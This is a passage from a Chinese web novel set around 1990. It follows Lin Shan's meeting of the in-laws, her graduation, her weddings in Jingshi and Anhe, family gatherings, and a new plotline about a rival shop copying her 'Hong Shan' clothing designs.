赵桂花对婚房非常满意，比分局家属院的房子装修得都好。地方大，安排得特别合理，关键环境还好，这大院儿就是跟外头不一样啊。不过，等她去了贺正岩现在住的地方之后，所有的话就都收回来了。 “这什么地方啊小贺！你家这么厉害？！”这得是什么级别才能住这种别墅啊，外头还有花坛！赵桂花脑袋飞速运转，瞬间对明天要跟贺正岩父亲吃饭的事儿，感到无比紧张。 “这是我爷爷的地方，等我结婚之后也就不住这儿了。”贺正岩笑着解释了一下这房子的实际状况，弄得赵桂花是越听越紧张。 “太吓人了！听说你爸也是领导，不会也特别大吧？” “他人很随和。您不用紧张，不管他是谁，也只是您的亲家公而已。” “……”赵桂花一脸不知道该怎么接话的表情。 林珊笑道：“您别担心，贺叔叔非常随和，特别爱吃咱家的辣椒酱和下饭菜，每回见了我都要夸好吃。” 赵桂花点点头，回去的路上都在消化着刚刚意识到的大事儿。整个晚饭她都吃得非常安静，直到桌子收拾妥当，林珊准备去切水果的时候，她突然大笑了出来，拍拍贺正岩，又拍拍亲闺女，“老天有眼啊！啊哈哈哈哈哈！” 林珊跟贺正岩对视一眼，彼此都忍不住乐出了声。 赵桂花歪着头，怎么看俩孩子怎么觉得好，笑得合不拢嘴：“怪不得算命的小时候就说我命好！哈哈哈，现在看来可不就是嘛！” 别说安河，就是整个京市，谁能有她家闺女嫁得好！ 虽然赵桂花自认为不是那种势利眼儿，不是那种看见干部就上赶着巴结的人，但是她家闺女找了个这么好的女婿，条件还这么好，她能不骄傲嘛？！ 有了靠山，甭管用不用，别人就不敢对你下黑手了，这个道理她还是懂的。 “吃点儿西瓜吧，桂花女士。”林珊把瓜放到桌上，示意她别 只顾着笑。 赵桂花这会儿眼里哪还有西瓜啊，满心满眼都是自己的好女儿、好女婿，如果说贺正岩以前在她心里是一百分，现在已经飙升到了一万分了。更别说他还有个那么好的妈妈！ 这么想来春荣姐还真是厉害啊，前姐夫这么好的条件她都能说离就离，不愧是新时代的楷模！ 第167章 第167章 婚前准备 次日, 为了给未来亲家留下一个好印象，赵桂花特地穿了件白衬衣，配深蓝色的长裤子。 她表示这么穿最有革命气息, 林珊无奈地笑了，也不知道她要这革命气息干什么。 除了桂花女士的革命气息, 两人还带了些安河特产，以及好几箱贺振华爱吃辣椒酱和下饭菜。 这次见面的地点就在贺老爷子的房子, 因为没让张秀英参与，所以贺振华就定了这个地址, 另外还安排了一桌饭菜。 父子俩早早就在家里准备了, 贺振华还特地穿了身儿新衣服，这毕竟是 第一回见未来亲家, 意义不一样。 今天的菜色都是按照贺正岩说得办的, 彩礼和嫁妆双方早约定好了, 都包个88的红包意思一下，有那个象征意义就行了。这些事儿是姜春荣跟人家谈好的, 他没什么发言权。 今天其实就是见个面认识一下, 熟悉熟悉亲戚。正事儿早就定完了, 只剩过几天办婚礼就可以了。 “你妈什么时候来？”贺振华看了眼表，这姜主任不会跟客人一块儿到吧。 “林珊接她一块儿过来。” 贺振华无奈地笑了，“看来你们跟林家的关系已经很熟了。” “是。” 一个小时后，林珊的车缓缓停在了贺爷爷家门口。 原本赵桂花的紧张，在来的路上已经被姜春荣给安抚得差不多了, 可一见到贺振华, 还是被他的气势给镇住了，即使人家很热情地站在门口迎接她，赵桂花还是忘不了这是多大的领导啊！ 桂花女士一拘谨就不怎么爱说话, 大家谈什么，她都尽量秉持着少说少错多微笑的原则。直到贺振华开始夸奖林珊，她才像活过来似的。 先是跟着夸了自己闺女两句，然后开始不断地狂夸贺正岩，从刚认识的时候说起，一直说到两个孩子快结婚，听得贺振华那叫一个骄傲啊，他儿子就是好样的！ 贺正岩都不好意思听了，直跟林珊对眼神，希望她能提醒桂花女士一下。可惜林珊虽然会意了，却没有半点要岔开话题的意思，而且还跟着赵桂花一块儿来说他有多好。 弄得贺正岩只得用低头喝茶来掩饰不自在。 当父母的就没有不愿意听别人夸自己孩子的，所以姜春荣也听得津津有味。 一顿饭所有人都吃得无比开心，只除了贺正岩有点儿如坐针毡。他本来就不是那种外秀的人，而且也打从心里没觉得自己有好到被他们夸成这样的程度。 尤其这三个人还一直笑眯眯地看着他，把贺正岩弄得实在是哭笑不得。 下午回家之后，赵桂花就跟完成了一个大任务似的，非常放松地瘫在沙发上，嘴里还不忘感慨道：“人家贺爸爸还真是平易近人啊，不愧是大领导啊！看看人家这作风！” 林珊笑了，不知道一开始去的时候是谁要带上革命气息的。 “诶——”赵桂花突然放小了声音，“我看春荣姐跟贺爸爸处得挺好的，饭桌上还有说有笑的，这咋就离婚了呢？” “……可能是性格不合适，当朋友比较好。” “哦。”赵桂花点点头，琢磨了一会儿，觉得她姐是真厉害，不但事业成功，连跟前夫都处成好朋友，换成她肯定做不到。 清大开毕业典礼那天，贺正岩带着赵桂花和姜春荣特地跑去看了。因为林珊是这一届的优秀学生代表，要上台讲话，所以这种场合怎么能少的了家人捧场呢。 这个年代的毕业典礼，还不流行家长过来参加。一是交通不便，二来也还没有时兴起这种文化。不过如果有家长过来，学校也是非常欢迎的。 赵桂花带着傻瓜照相机，准备给闺女来上一交卷照片。 可能是开业讲场面话讲多了的缘故，林珊写这个稿子基本没费什么精神。 她上台之后，先是感谢了国家和学校，以及每一位辛苦付出的老师，跟着描述了一下这四年的大学生活有多愉快，最后畅想了一下美好的未来，祝同学们在以后的岁月里，勇往直前、无所畏惧，成就非凡人生。 台下掌声雷动，学校的领导和老师们也都非常满意，林珊顺利完成了自己的任务。 赵桂花拿着相机给她照了各种角度的照片，激动得热泪盈眶，她的宝贝闺女不但没耽误学习，还被选为代表能上台讲话，这是多光荣的事儿啊！ 姜春荣则觉得有点儿可惜，“这么好的孩子，继续做研究多好啊。” 贺正岩：“她说自己没天赋。” 姜春荣无奈地摇头笑了。 林珊下台后，四人来到学校一些有代表性的地方合照。结果没拍两张，姜春荣就又被人围着聊起了天。 姜主任自从踏入清大就比林珊还忙，尽管她一直很低调地站在一边，却还是被一些领导和教授给发现了，之后就被不断地拉着聊天。 赵桂花虽然不懂科学，但是看这架势，就知道她姐有多厉害了！ 贺正岩看着亲妈在忙，就请未来丈母娘帮他跟林珊也单独拍了两张照片。 “洗出来之后放屋里。”他笑着说。 林珊乐道：“那天在照相馆你还没拍够啊？” 前两天两人去拍了结婚照，本来以为跟八十年代似的拍一张样式照就行了，结果照相馆说现在结婚的都流行拍一套，所以在贺正岩的坚持下，两人拍了六张照片。同样的衣服，不同的姿势搞了六张，林珊当时就在想，要是开个婚纱影楼肯定能赚翻。 贺正岩笑了，照相馆那是正儿八经的照片，这个是生活照，不是一码事儿。 毕业典礼一结束，拿上证书的林珊，算是彻底告别了学生时代。 次日，两人去民政局领证。贺正岩是军人，带的资料比林珊多，这些报告和资料他早就准备好了，就等着她毕业了。 九零年的结婚证书还是硬壳大红本，左边是信息，右边是照片和公章。贺正岩拿着崭新的结婚证，笑得无比开心，“终于名正言顺了。” 林珊乐了，其实她自己也没想到有了这个证和没有这个证的时候，感受还真有点儿不一样。说不出来那种滋味，有点儿踏实又有点儿期待，总之挺开心的。 拿了证，就是一家人了。林珊的户口现在还暂时在学校挂着，等婚礼结束去派出所办一下手续，俩人就是一个户口本上的人了。 本来马上就要办婚礼了，林珊没想着要庆祝，结果贺正岩非要带着她跟两位长辈去搓一顿。 23号那天，王军带着林红和伴娘李娜过来了，安河那边交给了赵福负责，反正等京市办完，安河那边儿还要在办一次。 郭有财一家从粤省赶到了京市，他不但带了三个儿子，儿媳和孙子孙女也都过来捧场了，浩浩荡荡一大部队的人，比过年都热闹。 雷生金也带着阿英跟三个儿子来了，他闺女要当伴娘，自家跟林珊又是这么合作的关系，这必须捧场啊。 这年头办喜事都讲究个热闹，谁家办得冷冷清清的，还会遭到街坊邻居的笑话。 林珊虽然不讲究这些，却懂得承人家的情。人大老远的放下正事儿跑来，又搭路费又上礼钱的，实在让她感激不尽。 九零年有没有婚庆林珊不知道，反正她没有用，流程就 走最简洁的。伴娘穿得都是店里统一的裙子，她自己之前在粤城做了两套衣服，一套红色的大裙子，迎娶和拜天地的时候穿，一套浅蓝色的裙子，敬酒的时候穿。 她要从分局家属院出嫁，所以前一天晚上不仅家里，就连道楼都被布置的喜气洋洋。 六月二十四日一到，林珊早早就起来梳妆打扮，饭都没敢多吃，怕穿裙子不好看。伴娘们也齐聚家里，打扮得漂漂亮亮的。 林珊平时基本不化妆，这要结婚了，必须给自己整一个明艳的妆容，于是上一世精湛的化妆技术又一次用上了。 盘头也是她自己搞定的，本来闫青准备帮忙，结果一看老板编得这么熟练还这么好看，她就撤到一边儿了，“珊老板，回头教教我怎么盘这个头好不？我结婚的时候想用。” 林珊笑着应了，当即就边盘边解说起来。小姑娘们爱美，瞬间就都围过来学习了 。 阿英感叹道：“姐，你真得好漂亮！” 本来就长得美，再这么一打扮，比港城电影里那些女明星都好看。也就是珊姐不爱露面，不然服装广告如果由她拍的话，效果一定更好！ 林珊乐了，屋里所有人都漂漂亮亮的，大家都穿新衣、露笑颜，等着护送她出嫁。 迎亲的队伍很快就敲锣打鼓地过来了，林珊坐在房间里，能听见外头热热闹闹不让他们进门的声音。 贺正岩带的那帮小伙子麻溜地掏出红包，一个磕巴都不打。伴娘们虽然被教导的要多拦一拦，可是她们一提红包，对方就给，来回四、五次后，正犹豫要不要再坚持一下，被贺正岩的堂弟一个带头冲了进来。 现场一片欢声笑语，新娘子跟新郎官总算是见到面了。 贺正岩穿着军装带着新郎胸花，盯着坐在床尾的林珊，激动得都不太会说话了。 林珊穿着礼服样式的深红绸缎长蓬裙，带着深红色的头纱和银白色的手套，坐在那里就跟电影里的外国公主似的，端庄美艳。 深红色的头纱比白纱透明，贺正岩能看见她正在对着自己笑。他两条腿就跟不会动弹了似的，只知道直愣愣地站在原地盯着林珊发呆。 林红满意地笑了，小声提醒新郎官和伴郎们，“注意时间。” 大家这才跟突然苏醒似的，立刻开始帮着贺正岩找婚鞋。 婚鞋没藏多深，但地方比较巧，林珊本来以为贺正岩且得找一会儿呢，结果没想到他记得自己卧室柜子的构造，直接就从中间的夹层中找到了婚鞋。 跟着他半跪下来，一脸认真又温柔地为她穿上婚鞋，一把将人抱了起来，真挚又激动地说：“走，咱拜天地去！” 第168章 第168章 咱们结婚啦 拜天地前, 还得先敬赵桂花茶，改口叫妈。 赵桂花坐在沙发上看着跪在地上的闺女和女婿，又哭又笑的, 开心闺女嫁了个好人，又难过孩子真得长大了。 林珊知道赵桂花舍不得, 抱着她安慰了一会儿，贺正岩也在一旁说：“妈, 您今后又多了个儿子。” 赵桂花破涕为笑：“是，我现在有两个好儿子！”红子跟珊丫头都嫁了个好人家, 她还有什么可不知足的呢。 改过口, 喝了茶，贺正岩正式抱着林珊出了门。 婚车是他平时开得部队的车, 现在被打扮得无比喜庆, 载着一对新人缓缓地朝婚宴宾馆驶去。 其实如果人少的话, 在家办也行，但是人实在太多, 用大院儿的礼堂又太高调了, 所以大家商量过后才决定去贺正岩朋友工作的宾馆去办。 贺振华跟姜春荣早早就在现场等着了, 前来参加婚礼的客人也都已经上桌就位，就等着新人过来行礼。 张秀英精心打扮的装束并没派上用场，来的都是贺振华跟姜春荣，以及林家的朋友，根本用不着她出面招待客人, 只能跟自家弟弟和弟媳坐在一块儿等着开席。 贺振华跟姜春荣每说一句话, 她就跟被针扎了似的，尤其看见贺家那帮亲戚对姜春荣那个亲密劲儿，更是气得能直接厥过去。 这么多年了, 贺家还是不把她当人看！实在是欺人太甚！ 张秀英心里堵得慌，面儿上却还不敢带出来，不然被人看见，又要嚼舌根说她容不下贺正岩了，后妈是天底下最难当的！ 贺正岩跟林珊的婚礼队伍，比预定时间提前抵达了现场。 两人一出现在大厅门口，就引来了宾客们的一阵欢呼。新娘子美艳，新郎英俊，这么般配的一对佳人，谁看了能不喜欢！ 两位新人缓缓地踏上红毯，一路被各种彩带彩纸喷洒，等到了台上，面对坐在正位的贺振华跟姜春荣的时候，两人身上头上全是大家的彩色祝福。 贺正岩帮林珊整理好头纱、拿掉身上的彩带，然后胡乱拨了一把自己头发后，递给卢学军一个可以开始了的眼神。 自荐要当主持人的卢学军，立刻开始走流程。 他先是赞叹了一下新郎新娘的般配程度，跟场下的客人互动了一下热了热场子，跟着稍微调侃了两句贺振华跟姜春荣，等气氛被烘托得相当到位之后，他正式宣布仪式开始。 传统的一拜天地、二拜高堂、夫妻对拜。 当两位新人对拜结束，新郎官掀开新娘头纱的一瞬间，全场一片欢呼。 卢学军的吉祥话儿就像串烧似的，什么百年好合、永结同心、幸福美满、早生贵子之类的，噼里啪啦地往外冒。 贺振华跟姜春荣笑得合不拢嘴，赵桂花也开心得不行。现场一片欢腾，只除了张秀英在皮笑肉不笑，看着在台上站在贺正岩身后傻笑的贺启明，她更是气不打一处来。真是个傻货，居然笑得比人家新郎官儿还开心！ 礼成之后就是开席。林珊下去换上了更为轻便的浅蓝色连衣裙，然后开始跟着贺正岩一块儿去敬酒，说是敬酒，实际俩人壶里的“酒”是兑了一大半儿水的，不然这么一圈儿下来，直接能给人喝倒。 可尽管兑了水，敬完酒后林珊还是觉得脑袋有点儿懵。赵桂花心疼地让两个孩子赶紧吃口饭，一大早就都起来准备了，肯定没怎么吃好。 林珊吃了两口垫了垫肚子，感觉并没有想象中的累。贺正岩也有同感，虽然他不到四点就起了，这会儿却精神得一点儿倦意都没有。整个人飘忽忽的，很开心，很兴奋。 桌上大家说说笑笑，贺正岩的二叔跟小姑都比贺振华爱说笑，跟姜春荣和赵桂花聊得那叫一个热火朝天。 他们这桌旁边就是张秀英那桌儿，林珊总能感觉到一阵冷冷的气息朝着这边飘过来。 不过这能怨谁呢？主桌这边贺家安排什么人入座，都是贺振华一个人决定的。而且就算是让林珊来安排，她肯定也要先仅着姜春荣跟贺家至亲的。 你丈夫不给你面子，她这个继儿媳妇也没有必要在自己的婚礼上硬给你。 婚宴结束之后，新人还要站在门口送别宾客。一直送到下午两点钟，厅里才基本上只剩下自己人。 这年头结婚还是很流行闹洞房的，不过因为贺正岩跟林珊办得婚礼属于那种比较混合的新式婚礼，所以就免了这一项。 不过自己人在结束婚宴之后，还是都来到了婚房。 大家一边闲聊，一边喝着茶嗑着瓜子。一会儿聊到贺正岩小时候，一会儿又说起了林珊的公司规模，最后还不忘再畅想一下两个人未来有 了孩子之后的模样。 说说笑笑一下午，吃完宾馆送来的晚饭后，大家就非常识趣地告辞了。 贺正岩把门一关，先是冲林珊傻笑了一下，跟着撸起袖子跑去厨房洗碗。亲戚们已经帮忙把碗归都置到了厨房，贺正岩想着林珊这么爱干净，现在天又热，不洗的话容易有味儿，所以就直奔厨房干活去了。 林珊给他系好围裙，笑道：“哪有新郎官结婚当天洗碗的。” 贺正岩扭头亲了她一口，“没事儿，咱们就创个先例，新婚夜洗碗，越洗越有！” 林珊乐出声来，不知道他这个越洗越有，是有的什么？轻轻拍了拍他的肩膀，“那就辛苦你啦新郎官儿，我去卸个妆。” “好。”贺正岩又笑着亲了她一口才放人，手里洗碗的动作继续，脑袋却一直扭着看人，林珊走到哪儿，他就看到哪儿，活脱脱离不了媳妇儿一秒钟的劲头。 林珊卸完妆后，直接洗了个澡，毕竟是新婚夜，一身汗可不太好。 贺正岩光是听里头的水声，心脏就开始直突突，等林珊湿着头发从里头出来，他更是觉得整个人都麻了，只知道直勾勾地看着她，一句话也说不出来。 半晌，他才缓缓地起身，清了下嗓子：“那什么，我也去洗一下。” “哦。”林珊梳着头发看了他一眼，唇角偷偷地往上扬。 男生的洗澡速度真可谓光速，林珊才刚收拾好自己，卫生间的水声就停止了。贺正岩擦着头发从里面走出来，竟然带来一阵凉气。 林珊跑过去看了看，惊诧道：“你竟然用冷水洗？！” “在部队习惯了，没事儿，现在天热，水温高。”贺正岩笑得无比灿烂，心情好得不得了。 林珊服了，“那以后要等汗落下去之后再去洗，好吗？” 贺正岩立刻点头：“好，都听你的。” “……”林珊见他这么利落就答应了，一时也不知道该说什么。 贺正岩麻溜地擦干头发，笑着把人搂进怀里，低声问她：“累不累？” 林珊点点头，这会儿确实有点儿累了。 贺正岩一笑：“那早点儿睡吧。” 林珊抬头看他，读懂了这个眼神，忍不住笑道：“纯睡好不好？有点儿累。” 贺正岩凑近她吻了过去，小声表示：“那恐怕不行，我等好几年了。” 跟着也不等她回应，直接一把将人抱起直奔卧室的大床。 次日，林珊睡到了十点钟。 迷迷糊糊地睁开眼，发现贺正岩正支着脑袋在看自己。受不了这种炙热的眼神，她直接把头埋进他的胸口，假装还没醒。 “还睡啊？”贺正岩笑了，“十点多了，爸妈还等着咱们过去呢。” 林珊蠕动了一下，不是很想起床。 贺正岩笑出声来，特别喜欢她这种样子，轻抚了抚她的脑袋，附耳低语：“既然不想起，那咱们做点儿别的吧。” 林珊瞬间大惊，赶紧伸手推他，“我起，我起！” 今天是结婚的第一天，她得再跟公婆和和贺家人聚聚，一块儿吃吃饭聊聊天。 昨晚贺振华跟其他贺家人，都住在贺老爷子的院子，今天见面的地方自然是老房子那儿。 姜春荣不想留宿，表示次日自己再过来，不然张秀英要是知道她在老房子呆了一晚，恐怕能得精神病。为了自己的清静，还是多避嫌一点儿比较好。 贺正岩的婚房跟老房子同在一个大院儿里，走路只需要十几分钟，所以时间还是很充裕的。 林珊洗完澡，发现贺正岩已经把床都收拾好了，床单换了新的，整个卧室整整齐齐，一丁点儿凌乱都没有。 不愧是当兵的啊，这生活习惯真好！ 林珊笑着扎好头发来到厨房，发现贺正岩正在热包子。她从背后直接抱住他的腰，甜滋滋地说：“谢谢啦，贺大哥。” 贺正岩笑道：“你贺大哥要夹包子了，躲远点儿，别烫着。” 林珊轻轻拍了他一下，没半点起来的意思，“有福同享有难同当，烫就烫吧。” “好！”贺正岩一边傻乐，一边小心翼翼地把早餐盛了出来。 两人都只吃了一个小包子，待会儿还要吃正儿八经的午饭，得留着些肚子。别看一人只有一个包子，小夫妻俩吃得那叫一个慢啊，一直不断地打情骂俏，满屋子都洋溢着粉红色的泡泡。 “跟做梦似的。”贺正岩昨晚就说过这句话。 林珊亲了亲他，她又何尝不觉得自己的人生是一场梦呢。 六年了，从在破屋睁开眼的那一瞬间，到现在跟心悦的人结了婚，有了自己的小家，体会到了一种前所未有的幸福，这怎么能不算是一场美梦呢。 第169章 第169章 好多饭要吃 婚后第一天的饭菜, 是家里自己准备的。贺振华跟姜春荣都不会做，只好让厨师弄了一大桌。 味道很好，本来饭也不只是重点, 一家人团聚在一块儿，增进一下感情才是最主要的。 林珊认识了贺正岩的两个堂弟和两个表妹, 小表妹对林珊喜欢得不得了，对她家的衣服更是夸了又夸, 在沪市的时候，她们还跟妈妈去买过呢。这次回京市, 她们身上穿的就是“红珊”的衣服。 林珊当然认出了自家店的款式, 直接就跟小姑和表妹们靠好了后天去自家店里挑最紧俏的新货。 小姑不好意思直推辞，表妹们则满怀期待地看着妈妈。 林珊笑道：“咱都是一家人, 姑姑跟我客气什么呀, 家里好多特产都是姑姑从沪市寄来的, 您不去店里以后我都不好意思要您的东西了。” 小姑笑了，“你这丫头。” 小表妹们见妈妈态度松动, 直接抱住林珊, 一左一右一口一个“好嫂子”, 叫得林珊都不好意思了。 贺正岩刚上高一的小堂弟则凑过来说，“嫂子，我喜欢吃香菇酱和下饭——啊！” 他话没说完，就被亲妈胡了一脑袋瓜，“平时短你吃的了？！小兔崽子。” 小兔崽子抱着头傻笑。 林珊乐道：“婶婶, 都是咱自家的东西, 这我要是供应不了，那还是一家人吗！” 等他们走的时候，林珊非要给大家都装上几箱子, 反正也知道住哪儿了，以后直接让人寄过去就行了。 婶婶不好意思，还要推辞，结果一抬眼见大儿子也满脸的期待，就连她那口子也看向自己。她顿时气笑了，合着就我挡着那你们吃嘴了，“行行行，我不管了行不行？” 大家瞬间都笑了，林珊让婶婶别客气，都是自己人。婶婶经常给贺正岩寄东西不说，就是小时候对他也格外照顾，任何东西，有她儿子的，就肯定会有贺正岩的一份儿。 姑姑就更不用说了，没出嫁之前，整天帮贺爷爷贺奶奶带贺正岩。这些情谊怎么能是一点儿东西来衡量的，本来大家就离得远，要是没有了这些细小的来往，以后感情岂不是要慢慢变淡了。 贺家人对林珊的喜欢，从还没见面的时候就开始了，谁不喜欢礼貌懂事这么能干，又长得还跟躲花儿似的姑娘啊，跟他家正岩站在一块儿多般配，谁看了不说一句好！ 见面就更喜欢了，说话做事让人舒服是一方面，最重要的是对正岩完全没得说，心里有没有，为不为对方着想，大人们一眼就瞧出来了。俩孩子感情这么好，他们自然也就放心了。 一家人吃罢饭后，开始玩儿麻将娱乐。 林珊跟贺正岩作为小辈儿在一边儿看，长辈们玩儿得那叫一个溜啊。跟过年时候他们胡乱玩儿的根本不是一个级别的。 算牌的，炸胡的，还有偷摸换牌的，一下午的麻将，让林珊见识到了什么叫“赌场风云”，没想到贺家人竟然这么有意思，嘻嘻哈哈吵吵闹闹的，虽然相隔这么远，竟然半点儿隔阂跟生疏都没有。 林珊深感佩服，非常开心加入这个大家庭。 次日，林珊要回门。 回的是分局家属院的家，赵桂花跟林红准备了一大桌子菜来迎接小两口。 林珊一看都是他们俩爱吃的，开心地抱住妈和姐姐，“大鱼大肉吃累了，还是自家的菜更合胃口。” 赵桂花笑道：“结婚累人，我瞧着你俩都瘦了，今天多吃点儿。” “好。” 小昊昊拉着林珊一直让小姨给他讲故事，来京市这几天快把他闷坏了，平时在安河人家有很多好朋友，又能跑出去玩儿，这次来京净跟着大人们赶场儿了。 林珊喜欢胡乱编故事逗昊昊，小家 伙每回都听得目瞪口呆。 林红在一旁笑了，“你把他养刁了，现在学会夜里让我给他讲故事了。” “妈妈说的故事不好听。”小昊昊还嫌弃呢。 大家一时都被他可爱的小模样给逗乐了。 饭桌上，赵桂花跟贺正岩商量了一下安河婚宴的事儿。那头同样打算在宾馆办，主要是省劲儿，宾主都能舒服一些。 安河那边主要请的是一些关系网和自家的员工参加婚宴。场面不会太大，但其实细算算人数，其实也不少了。 林珊突然有点儿感慨，才六年时间，她居然认识了这么多人。 赵桂花也说：“是啊，以前咱过的那叫啥日子啊。现在我两个闺女都这么厉害，还嫁得这么好，我有时候做梦都能笑醒！” 大家乐了，王军提议干一杯，所有人一块儿举杯，就连小昊昊也举着自己的汽水儿硬要参与。 次日，赵桂花一行人集体先回安河准备婚宴相关的事儿。林珊跟贺正岩还要留在京市，送送客人，见见朋友。 林珊上午先把郭有财跟雷生金一家送到火车站，下午就马不停蹄地带着小姑、婶婶和表妹们去东城的大店里试衣服了。 林珊给每个人都安排了全套，从头到脚，墨镜太阳帽，以及高跟鞋都安排上了，项链也送了好几条，更别提漂亮的小裙子了。小姑、婶婶特别不好意思，硬是把她拉去吃了顿价值不菲的西餐。 因为明天下午两人就要回安河，不一定能赶回来给二叔和小姑送行，所以夜里的时候，林珊跟贺正岩就把要送给他们的东西给搬到老房子了。 这样明天上午跟贺正岩的发小们聚过之后，两人就可以直接开着车回安河。 时间安排得确实非常紧凑，不过这也是没办法的事儿，谁让假就给了这么多呢。 两人抵达安河的时候，已经下午六点钟了，好在夏季天长，日光还很亮。他们没回家就直接去宾馆了，赵桂花正在跟经理最后确认酒单，一瞧闺女、女婿回来了，立刻喜庆地喊俩人一块儿参与。 烟的话，赵福已经买好了。其实酒他们自己也有门路，不过经理跟林珊家很熟，直接按进价算的，倒也省得麻烦。 宾馆的准备一切就绪，家里就更不用说了。 赵桂花把小院儿布置得那叫一个花里胡哨啊，比过年还夸张，就连外头的大街也被她安排上了喜字，更别提自家店铺了。 感觉安河已经快没有人不知道林珊要结婚了。 她忍不住小声对贺正岩吐槽：“我妈就是这么夸张。” 贺正岩看了眼干劲儿十足的赵桂花，低头笑了，伸手拍了拍林珊的脑袋。 次日的婚宴，林珊穿的还是京市婚礼上招待客人的那条蓝裙子，两位新人上台跟大家表达了一下感谢，赵福充当主持人，祝福他们白头偕老，永结同心，一辈子幸福快乐。 台下大多数都是林珊的员工，掌声那叫一个热烈，等林珊跟贺正岩挨着敬酒的时候，更是热情得一直拉着两人聊天儿。 安河的热闹，跟京市的热闹完全不一样，贺正岩颇有点儿跟着厂长前来慰问职工的感觉。婚宴吃到后头，不知道哪一位起的头，大家竟然还一块儿唱起了《咱们工人有力量》、《团结就是力量》，这一下就更像是职工大会了。 热闹欢乐的婚宴结束之后，林珊算是彻底结完了婚。人生中的大事，正热八经算起来，也就几顿饭的功夫。 晚上自家人在一块儿吃饭闲聊的时候，林珊谈到了回到京市要去看其他房子，林红立刻表示，要是合适的话她也买。 林珊笑了，看了眼正在玩儿小汽车的昊昊，问两口子：“昊昊过完年就该去幼儿园了吧？” 王军点点头，“是啊，时间过得真快，我们单位有幼儿园，先让他在里头上着吧。” 因为现在孩子还小，所以夫妻是准备让他在安河上学的，等以后大一点儿了，那肯定还是去京市上学更好一些。 林珊很赞同，安河地方小，在后世的发展就不是很好。可能是因为就在京市旁边，有点儿灯下黑的意思。工业工业不行，农业农业没有，旅游业更是无从谈起。 “我准备找找人调调工作，看看能不能去京市，不过这个东西需要时间，得慢慢儿来，我估摸昊昊上小学前应该能办下来。”王军笑着说。他已经跟林红和老娘都商量好了，人还是要往大地方走，安河离京市这么近，条件还是很充分的。 林珊很开心姐姐跟姐夫有这个想法，一家人要是都能聚到一块儿，那当然是再好不过的事了。 贺正岩是第一次知道王军有这个打算，问了问他具体准备找谁，进展到什么地步了，有目标没有。 王军一一作答，明白贺正岩是想帮忙，不过他还是想先走走自己的关系，毕竟他是这个系统的，认识的人都熟门熟路，而且跟正岩又是这么近的关系，要是他资格不够或者手续不合规，岂不是给自家人添麻烦吗？ 贺爸爸在那个位置上，本身就有很多人想抓他的把柄。要是被人从自己的事情上找到了突破口，那可就糟了。 他办了那么多年案子，小心谨慎惯了，再加上内心也有点儿骄傲，毕竟他这些年的成绩不错，还立过两次大功，靠自己本事就算慢点儿，应该也能调过去。 贺正岩非常理解他的想法，“好，那以后有事儿说话就行。” 王军笑着点点头，跟他碰了一杯，两人随后是越聊越投机。 林家娘仨在一旁看着，也很开心。关系近，不代表感情好，能说到一块儿很重要。 第170章 第170章 仿制“红珊” 从安河回到京市后, 贺正岩开始忙工作，林珊则去之前就看上的那个楼盘逛了逛。 可惜一圈下来，发觉楼房质量不是很好, 而且周围也没有学校，她就决定先放弃这个, 再拜托干中介活计的老江，帮忙找找谁家房子或商铺想出手, 要是有四合院当然是最好的。 目前她私账面上的资金充足，买房子和倒腾国库券成了最主要的投资方式。之所以还没开始买股票, 是因为沪市的证交所, 要到今年十一月底才正式成立。 她想买的茅台要到2001年才上市，后世其他的那些优绩股也都还没上市, 所以还不慌, 不急着买那些自己不了解的企业。现在这个阶段投资不动产是最牢稳的。 整个京市公司最近都在忙碌秋冬广告的事, 结束婚假后的林珊也不例外，不过她还没过几天上班下班的安稳日子, 粤城那边阿英就火急火燎地打来了电话。 “姐！那个衰人林兰居然卖我们的衣服！！！” “什么意思？你慢点儿说, 先别急。”林珊安抚了阿英一会儿, 从电话里慢慢知道了事情的详情。 原来林兰不知道使了什么招数，竟然跟陈家儿子结了婚，又重新回到了那个“祖兰”服装店，不过由于自家“红珊”的名气大涨，很多人知道她抄袭之后, 生意损失了不少。 阿英本来以为“祖兰”会慢慢儿黄, 结果才有一阵没关注那边的消息，就突然听员工跑来说，外头有人卖自家的衣服！ 阿英前去一打听, 才知道都是从“祖兰”买来的。 衣服款式跟“红珊”的一模一样，质量却千差万别，价钱也低很多，原本快黄了的店铺现在生意好得不得了。阿英气得肝儿都疼了，要是红珊是她自己一个人的，她早找人砸了那不要脸的“祖兰”了！ “好了好了，先消消气，我这两天就过去一趟。”正好粤城店铺的装修已经进入了尾声，开业在即，是该过去看看了。 晚上回到家里，林珊跟贺正岩说了这个事情，他沉默了半天突然蹦出一句，“启明眼光真次。” 林珊笑了，“人家都吓跑了，你这个当哥的还说风凉话。” 贺正岩担心她：“那你打算怎么办？” “告到她关门坐牢，之前我觉得不值当为了个装修把事儿闹大，毕竟粤城也有很多生意，犯不着跟工商局的人闹不痛快。现在都骑到我头上了，要是再忍的话，她只会更变本加厉。”林珊还有句话没说，正规途径不行就来道儿上的手段。 都不需要动武，找几个流氓混混往店门前一站，保准没人敢登门。雷家黑白两道就没有不认识的人，身边这种街溜子一抓一大把。以前不搭理林兰是纯粹没把她放眼里，现在她自己主动送上门，这还能怪得了谁。 “小心点儿，狗急了跳墙还咬人。”贺正岩原本就知道做生意不简单，跟林珊在一块儿后才算彻底体会到里头的艰辛。每年她光打点关系就要花费一大笔，不然没有哪个门市能顺利开下去。 林珊反握住他握着自己的手，笑着点点头：“放心吧，我会小心的。” 贺正岩把人搂过去，叮嘱道：“出了事儿就去找市局的孙局，要是还不行就找二叔。” “好的。”林珊笑了，有人罩着的感觉真好。 这次南下她带上了闫青和杨国福，三人抵达粤城后，第一时间就去了服装公司。 阿英在路上就忍不住把林兰全家又都骂了一遍，作为一个设计师，没有什么比这个更让她愤怒的了。 林珊非常理解阿英的心情，“这次一定让林兰付出惨重的代价。” “嗯！最好让她去死，真是个大坏蛋！衰人！” 林珊到了公司，先看了看“祖兰”那些假冒伪劣的衣服，确认完全照抄之后，把自己的打算说了出来。 阿英一拍桌子：“好！我爸早等不及了，这件事情他比我还生气呢！那咱们就先找工商局评理，如果他们还想包庇林兰，那我们就真不客气了！” 林珊点点头，“另外，林兰让哪家服装厂偷做的衣服，也要查清楚，一块儿都给处理了。” 虽然这年代根本没有多少版权意识，国家在这方面的法律也不完善，但是这个威必须要立起来。什么能抄，什么不能抄的规矩不能乱，不然不用等到被国外品牌绞杀，就这些假冒伪劣也能把“红珊”和其他正规企业搞垮。 阿英握拳：“好！服装厂我有怀疑的对象，不过还不确定。我已经请人去查了，应该很快就能有消息。” 